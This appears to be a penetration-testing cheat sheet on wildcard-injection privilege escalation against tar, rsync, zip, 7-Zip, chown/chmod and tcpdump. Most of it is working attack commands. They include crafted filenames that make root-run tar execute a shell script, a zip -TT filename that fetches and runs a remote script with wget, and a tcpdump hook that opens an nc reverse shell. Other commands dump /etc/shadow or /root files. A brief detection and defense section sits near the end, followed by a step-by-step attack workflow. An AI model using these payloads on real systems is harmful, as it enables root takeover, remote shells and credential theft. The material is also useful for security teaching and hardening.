Wildcard Injection

Wildcard Injection Privilege Escalation

Wildcard (glob) argument injection occurs when a privileged script runs a Unix binary with an unquoted wildcard like *. Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames beginning with - to inject arbitrary flags or commands.

Prerequisites

1. Writable directory that will be processed by a privileged script
2. Privileged script using unquoted wildcards (e.g., tar -czf backup.tgz *)
3. Knowledge of the binary being invoked and its flag syntax

Attack Patterns by Binary

tar (GNU tar / Linux / *BSD)

RCE via checkpoint feature:

# Create payload script
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh

# Create trigger files
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

When root runs tar -czf /root/backup.tgz *, shell.sh executes as root.

macOS / bsdtar (no checkpoint support):

touch "--use-compress-program=/bin/sh"

When tar -cf backup.tar * runs, /bin/sh starts.

rsync

Override remote shell:

touch "-e sh shell.sh"

If root runs rsync -az * backup:/srv/, your shell spawns on the remote side.

zip

RCE via test hook (-T and -TT):

Create separate files for each token (short options parse per-character):

-T
-TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
data.pcap

When zip out.zip <files...> runs, the wget command executes.

Notes:

• Do NOT combine flags in one filename like '-T -TT <cmd>'
• Use -sc to debug argv parsing
• If slashes are stripped, use bare host/IP with -O for local save

7-Zip / 7z / 7za

File exfiltration via @file-list:

# Create symlink to target file
ln -s /etc/shadow root.txt

# Create file-list trigger
touch @root.txt

When 7za a backup.7z -- * runs, 7-Zip reads root.txt as a file list and prints /etc/shadow contents to stderr.

chown / chmod

Copy ownership/permissions from arbitrary file:

touch "--reference=/root/secretfile"

When root runs chown -R alice:alice *.php or chmod -R 644 *.php, all matching files inherit ownership/permissions of /root/secretfile.

tcpdump

RCE via rotation hooks (-G/-W/-z):

# Create reverse shell script
cat > /tmp/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /tmp/rce.sh

# Inject via file-name parameter
/debug/tcpdump --filter="udp port 1234" \
  --file-name="test -i any -W 1 -G 1 -z /tmp/rce.sh"

Send a packet matching the filter to trigger rotation and execute the script.

sudoers misconfiguration exploitation:

Common anti-pattern:

(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID> -F/var/cache/captures/filter.<GUID>

Arbitrary write:

sudo tcpdump -c10 -w/var/cache/captures/a/ \
  -w /dev/shm/out.pcap \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

Arbitrary file read (secret leak):

sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
  -w /tmp/dummy \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

Root-owned file creation:

sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
  -w /dev/shm/root-owned \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

Other Vulnerable Binaries

Detection & Defense

Detection:

• Monitor for files starting with - in directories processed by privileged scripts
• Check for --checkpoint, --use-compress-program, -e, -T, -TT in filenames
• Alert on tcpdump with -z flag in sudoers rules

Defense:

• Always quote wildcards: tar -czf backup.tgz "*"
• Use -- to stop option parsing: tar -czf backup.tgz -- *
• Validate and sanitize filenames before passing to binaries
• Restrict sudoers rules to specific arguments, not wildcards
• Use find with -exec instead of wildcards in scripts

Workflow

1. Identify the privileged script and binary being used
2. Confirm you can write files to the target directory
3. Select the appropriate attack pattern for the binary
4. Create the malicious filename(s)
5. Trigger the privileged script execution
6. Verify the exploit worked (check for created files, reverse shell, etc.)

References

• GTFOBins - tcpdump
• GTFOBins - zip
• wildpwn tool
• DefenseCode wildcard injection paper